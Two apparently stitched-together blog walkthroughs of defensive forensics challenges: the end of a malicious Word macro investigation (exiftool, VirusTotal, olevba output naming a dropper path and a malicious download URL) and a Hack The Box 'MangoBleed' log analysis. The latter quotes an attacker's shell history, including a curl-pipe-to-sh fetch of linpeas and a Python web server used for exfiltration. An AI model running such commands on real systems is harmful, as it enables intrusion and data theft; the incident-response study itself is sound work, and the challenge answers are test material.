Time Stamp                      : 2020:05:12 15:26:17-04:00
Image File Characteristics      : Executable, Large address aware
PE Type                         : PE32+
Linker Version                  : 14.21
Code Size                       : 10465280
Initialized Data Size           : 45056
Uninitialized Data Size         : 34689024
Entry Point                     : 0x2b10580
OS Version                      : 6.0
Image Version                   : 0.0
Subsystem Version               : 6.0
Subsystem                       : Windows GUI
File Version Number             : 3.2.0.0
Product Version Number          : 3.2.0.0
File Flags Mask                 : 0x0000
File Flags                      : (none)
File OS                         : Windows NT 32-bit
Object File Type                : Executable application
File Subtype                    : 0
Language Code                   : English (U.S.)
Character Set                   : Windows, Latin1
File Description                : SumatraPDF
File Version                    : 3.2
Legal Copyright                 : Copyright 2006-2020 all authors (GPLv3)
Original File Name              : SumatraPDF.exe
Product Name                    : SumatraPDF
Product Version                 : 3.2
Company Name                    : Krzysztof Kowalczyk

Task 6 Answer: SumatraPDF.exe

Task 7: According to VirusTotal, when was the EXE from the previous question First Seen In The Wild?(UTC)

So, in order to get the information from VirusTotal, the easiest thing for us to do is get the MD5 hash of this file and then search it.

$ md5sum /mnt/bae/InternalViewer.exe 
38032a4d12d9e3029f00b120200e8e68  /mnt/bae/InternalViewer.exe

Searching that hash brings us here. From there, we go to the Details tab and then scroll down to history to find our answer.

Task 7 Answer: 2020-08-13 08:44:50

Task 8: What packer was used to pack the executable from Question 6? (Full name)

Still on that details tab in VirusTotal, look up a bit

But they want the full name. What does UPX stand for? A quick Google lands us here, where we learn it is Ultimate Packer for Executables

Task 8 Answer: Ultimate Packer for Executables

Task 9: What is the full URL found within the macro in the document Salary_Lockheed_Martin_job_opportunities_confidential.doc?

Okay, now we are being very careful. I’m on Linux and not running Office, so I’m at a little less risk than someone who is investigating this with Windows, but tread lightly here. There are ways of extracting macros on Linux, but I cheated a little here and used the strings utility and then grepped for things that looked like a URL and that gave me the answer.

$ strings Salary_Lockheed_Martin_job_opportunities_confidential.doc | grep "http"
https://markettrendingcenter.com/lk_job_oppor.docx

Task 9 Answer: https://markettrendingcenter.com/lk_job_oppor.docx

Task 10: Who is the author of the document Salary_Lockheed_Martin_job_opportunities_confidential.doc?

More exiftool fun.

$ exiftool Salary_Lockheed_Martin_job_opportunities_confidential.doc 
ExifTool Version Number         : 13.36
File Name                       : Salary_Lockheed_Martin_job_opportunities_confidential.doc
Directory                       : .
File Size                       : 1294 kB
File Modification Date/Time     : 2025:03:05 06:40:08-05:00
File Access Date/Time           : 2026:01:16 15:26:03-05:00
File Inode Change Date/Time     : 2026:01:16 15:07:03-05:00
File Permissions                : -rw-rw-r--
File Type                       : DOC
File Type Extension             : doc
MIME Type                       : application/msword
Identification                  : Word 8.0
Language Code                   : English (US)
Doc Flags                       : Has picture, 1Table, ExtChar
System                          : Windows
Word 97                         : No
Title                           : 
Subject                         : 
Author                          : Mickey
Keywords                        : 
Comments                        : 
Template                        : Normal.dotm
Last Modified By                : Challenger
Software                        : Microsoft Office Word
Create Date                     : 2020:04:24 03:18:00
Modify Date                     : 2021:10:18 13:06:00
Security                        : None
Code Page                       : Windows Latin 1 (Western European)
Company                         : 
Char Count With Spaces          : 32
App Version                     : 16.0000
Scale Crop                      : No
Links Up To Date                : No
Shared Doc                      : No
Hyperlinks Changed              : No
Title Of Parts                  : 
Heading Pairs                   : Title, 1
Comp Obj User Type Len          : 32
Comp Obj User Type              : Microsoft Word 97-2003 Document
Last Printed                    : 0000:00:00 00:00:00
Revision Number                 : 83
Total Edit Time                 : 37 minutes
Words                           : 4
Characters                      : 29
Pages                           : 1
Paragraphs                      : 1
Lines                           : 1

Task 10 Answer: Mickey

Task 11: Who last modified the above document?

Exiftool output above.

Task 11 Answer: Challenger

Task 12: Analyze the “17.dotm” document. What is the directory where a suspicious folder was created? (Format: Give the path starting immediately after . Please pay attention to placeholder.)

For this one, I’m going to use a package called OleTools and a specific tool called olevba.

$ olevba --decode 17.dotm > macros.txt

This exports a long file (~325 lines) that is formatted pretty well. The line we want is

workDir = Environ("UserProfile") & "\AppData\Local\Microsoft\Notice"

Task 12 Answer: \AppData\Local\Microsoft\Notice

Task 13: Which suspicious file was checked for existence in that directory?

I did this probably a caveman way, but knowing that this directory is stored in the variable workDir, I searched the file for workDir. Then I noticed that it is checking for a file in that directory stored in the binName variable. So I searched the file again to find where binName was defined. Bingo.

$ cat macros.txt | grep workDir
    workDir = Environ("UserProfile") & "\AppData\Local\Microsoft\Notice"
    If Not FolderExist(workDir) Then
        MkDir (workDir)
    dllPath = workDir & "\" & binName
        workDir = workDir & "\" & binDir
        If Not FolderExist(workDir) Then
            MkDir (workDir)
        dllPath = workDir & "\" & binName
                                                                             
$ cat macros.txt | grep binName  
    binName = "wsuser.db"
    dllPath = workDir & "\" & binName
        dllPath = workDir & "\" & binName

Task 13 Answer: wsuser.db

That’s it. Some good stuff here practicing ATT&CK research, Virus Total research, and some Macro Virus investigation. Any questions, let me know!

You were contacted early this morning to handle a high-priority incident involving a suspected compromised server. The host, mongodbsync, is a secondary MongoDB server. According to the administrator, it’s maintained once a month, and they recently became aware of a vulnerability referred to as MongoBleed. As a precaution, the administrator has provided you with root-level access to facilitate your investigation.

You have already collected a triage acquisition from the server using UAC. Perform a rapid triage analysis of the collected artifacts to determine whether the system has been compromised, identify any attacker activity (initial access, persistence, privilege escalation, lateral movement, or data access/exfiltration), and summarize your findings with an initial incident assessment and recommended next steps.

In order to work the case, we have to download the attachment from the room. It is a 31MB (~95MB unzipped) password-protected zip file and as seems to always be the case for HTB Sherlocks, the password to unzip it is hacktheblue.

Task 1: What is the CVE ID designated to the MongoDB vulnerability explained in the scenario?

Answer 1: CVE-2025-14847

I just googled MongoBleed CVE and the answer was in the AI Overview

Task 2: What is the version of MongoDB installed on the server that the CVE exploited?

Answer 2: 8.0.16

For this one, Mongo puts version information inside the log. I did a head command on the log to look around and noted it. Here is what you’d want to do if you knew what you were doing going in and wanted to find it.

$ grep buildInfo ~/htb/MangoBleed/uac-mongodbsync-linux-triage/[root]/var/log/mongodb/mongod.log                                                                                                                         
{"t":{"$date":"2025-12-29T05:11:47.713+00:00"},"s":"I",  "c":"CONTROL",  "id":23403,   "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16","gitVersion":"ba70b6a13fda907977110bf46e6c8137f5de48f6","openSSLVersion":"OpenSSL 3.0.13 30 Jan 2024","modules":[],"allocator":"tcmalloc-google","environment":{"distmod":"debian12","distarch":"x86_64","target_arch":"x86_64"}}}}
{"t":{"$date":"2025-12-29T05:16:58.104+00:00"},"s":"I",  "c":"CONTROL",  "id":23403,   "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16","gitVersion":"ba70b6a13fda907977110bf46e6c8137f5de48f6","openSSLVersion":"OpenSSL 3.0.13 30 Jan 2024","modules":[],"allocator":"tcmalloc-google","environment":{"distmod":"debian12","distarch":"x86_64","target_arch":"x86_64"}}}}
{"t":{"$date":"2025-12-29T06:09:34.806+00:00"},"s":"I",  "c":"CONTROL",  "id":23403,   "ctx":"initandlisten","msg":"Build Info","attr":{"buildInfo":{"version":"8.0.16","gitVersion":"ba70b6a13fda907977110bf46e6c8137f5de48f6","openSSLVersion":"OpenSSL 3.0.13 30 Jan 2024","modules":[],"allocator":"tcmalloc-google","environment":{"distmod":"debian12","distarch":"x86_64","target_arch":"x86_64"}}}}

Task 3: Analyze the MongoDB logs to identify the attacker’s remote IP address used to exploit the CVE.

Answer 3: 65.0.76.43

For this one, there is a GitHub project called MongoBleed Detector. I downloaded and installed according to the instructions on the Readme. After doing so, here is the command that I ran. The -t was needed because the tool only goes back 3 days and this log file is older than that. The -p points us at the log file.

$ ~/htb/MangoBleed/mongobleed-detector/mongobleed-detector.sh --no-default-paths -t 20000 -p mongod.log
INFO: Analyzing 1 log file(s)...
INFO: Time window: 2025-12-23T00:22:07Z to now

????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
?                              MongoBleed (CVE-2025-14847) Detection Results                                       ?
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

Analysis Parameters:
  Time Window:        20000 minutes
  Connection Thresh:  100
  Burst Rate Thresh:  400/min
  Metadata Rate:      0.10

Risk     SourceIP                                  ConnCount  MetaCount  DiscCount    MetaRate%    BurstRate/m FirstSeen (UTC)        LastSeen (UTC)        
-------- ---------------------------------------- ---------- ---------- ---------- ------------ -------------- ---------------------- ----------------------
HIGH     65.0.76.43                                    37630          0      37630        0.00%       30104.00 2025-12-29T05:25:52Z   2025-12-29T05:27:07Z  

???????????????????????????????????????????????????????????????????????????????????????????????????????????????????
Summary:
  HIGH:   1 source(s) - Likely exploitation detected

? IMPORTANT: If exploitation is confirmed, patching alone is insufficient.
  - Rotate all credentials that may have been exposed
  - Review accessed data for sensitive information disclosure
  - Check for lateral movement from affected systems
  - Preserve logs for forensic analysis

Task 4: Based on the MongoDB logs, determine the exact date and time the attacker’s exploitation activity began (the earliest confirmed malicious event)

Answer 4: 2025-12-29 05:25:52

Let’s grep the logs again using the attacker’s IP address from question 3. I’ll take the date and time from the first record up.

$ cat ~/htb/MangoBleed/uac-mongodbsync-linux-triage/\[root\]/var/log/mongodb/mongod.log | grep "65.0.76.43" | head
{"t":{"$date":"2025-12-29T05:25:52.743+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35340","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"099e057e-11c1-46ed-b129-a158578d2014"}},"connectionId":1,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.744+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn1","msg":"Connection ended","attr":{"remote":"65.0.76.43:35340","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"099e057e-11c1-46ed-b129-a158578d2014"}},"connectionId":1,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.745+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35348","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"de7eb8af-7ae8-4e03-bd86-433a12dd4de7"}},"connectionId":2,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.746+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn2","msg":"Connection ended","attr":{"remote":"65.0.76.43:35348","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"de7eb8af-7ae8-4e03-bd86-433a12dd4de7"}},"connectionId":2,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.747+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35350","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"1ebcc10f-4bc3-45f3-b7c0-d2d48d3a1d74"}},"connectionId":3,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.747+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn3","msg":"Connection ended","attr":{"remote":"65.0.76.43:35350","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"1ebcc10f-4bc3-45f3-b7c0-d2d48d3a1d74"}},"connectionId":3,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.748+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35354","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"4382ccb5-d3f3-4b72-8ff5-ac091028713c"}},"connectionId":4,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.749+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn4","msg":"Connection ended","attr":{"remote":"65.0.76.43:35354","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"4382ccb5-d3f3-4b72-8ff5-ac091028713c"}},"connectionId":4,"connectionCount":0}}
{"t":{"$date":"2025-12-29T05:25:52.749+00:00"},"s":"I",  "c":"NETWORK",  "id":22943,   "ctx":"listener","msg":"Connection accepted","attr":{"remote":"65.0.76.43:35358","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"25c2f19a-70ef-46d5-8aac-88451653b7ac"}},"connectionId":5,"connectionCount":1}}
{"t":{"$date":"2025-12-29T05:25:52.750+00:00"},"s":"I",  "c":"NETWORK",  "id":22944,   "ctx":"conn5","msg":"Connection ended","attr":{"remote":"65.0.76.43:35358","isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"25c2f19a-70ef-46d5-8aac-88451653b7ac"}},"connectionId":5,"connectionCount":0}}
   

Task 5: Using the MongoDB logs, calculate the total number of malicious connections initiated by the attacker.

Answer 5: 75260

Looking back up at the output from Task 3 again, we see ConnCount:37630. I tried that and it wasn’t the answer. So I added the DiscCount of 37630 to it (37630+37630=75260) and that was the answer. I thought the tool was showing Connections and Disconnections (which I believe it is by parsing the log file for that IP and “Connection ended” vs that IP and “Connection accepted”), so it is possible that this answer is actually wrong or the question is poorly worded. Regardless, 75260 is the answer.

Task 6: The attacker gained remote access after a series of brute-force attempts. The attack likely exposed sensitive information, which enabled them to gain remote access. Based on the logs, when did the attacker successfully gain interactive hands-on remote access?

Answer 6: 2025-12-29 05:40:03

Let’s look at the auth log for this one. I want connection attempts that were from that IP and were Accepted. We get 2 results and the second one is the answer that they are looking for.

$ cat ~/htb/MangoBleed/uac-mongodbsync-linux-triage/\[root\]/var/log/auth.log | grep "from 65.0.76.43" | grep Accepted      
2025-12-29T05:39:24.276756+00:00 ip-172-31-38-170 sshd[39825]: Accepted keyboard-interactive/pam for mongoadmin from 65.0.76.43 port 55056 ssh2
2025-12-29T05:40:03.475659+00:00 ip-172-31-38-170 sshd[39962]: Accepted keyboard-interactive/pam for mongoadmin from 65.0.76.43 port 46062 ssh2

Task 7: Identify the exact command line the attacker used to execute an in-memory script as part of their privilege-escalation attempt.

Answer 7: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

The attacker got access to the box as the user mongoadmin. That means that commands that they ran would be stored in the .bash_history file in the user’s directory. When I cat it out, it isn’t that long, so I’ll just include it all in its entirety here and we see the answer.

$ cd ~/htb/MangoBleed/uac-mongodbsync-linux-triage/\[root\]/home/mongoadmin 
                                                                                                                                                         
$ ls -la
total 28
drwxrwxr-x 2 kali kali 4096 Jan  5 11:27 .
drwxrwxr-x 4 kali kali 4096 Jan  5 11:27 ..
-rwxrwxrwx 1 kali kali  250 Dec 29 00:48 .bash_history
-rwxrwxrwx 1 kali kali  220 Dec 29 00:17 .bash_logout
-rwxrwxrwx 1 kali kali 3771 Dec 29 00:17 .bashrc
-rwxrwxrwx 1 kali kali  807 Dec 29 00:17 .profile
-rwxrwxrwx 1 kali kali    7 Dec 29 00:46 .python_history
                                                                                                                                                         
$ cat .bash_history 
ls -la
whoami
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
cd /data
cd ~
ls -al
cd /
ls
cd /var/lib/mongodb/
ls -la
cd ../
which zip
apt install zip
zip
cd mongodb/
python3
python3 -m http.server 6969
exit

Task 8: The attacker was interested in a specific directory and also opened a Python web server, likely for exfiltration purposes. Which directory was the target?

Answer 8: /var/lib/mongodb

Same .bash_history file above. You can see that before the python web server is started, the attacker navigates to /var/lib/mongodb.

And that’s it!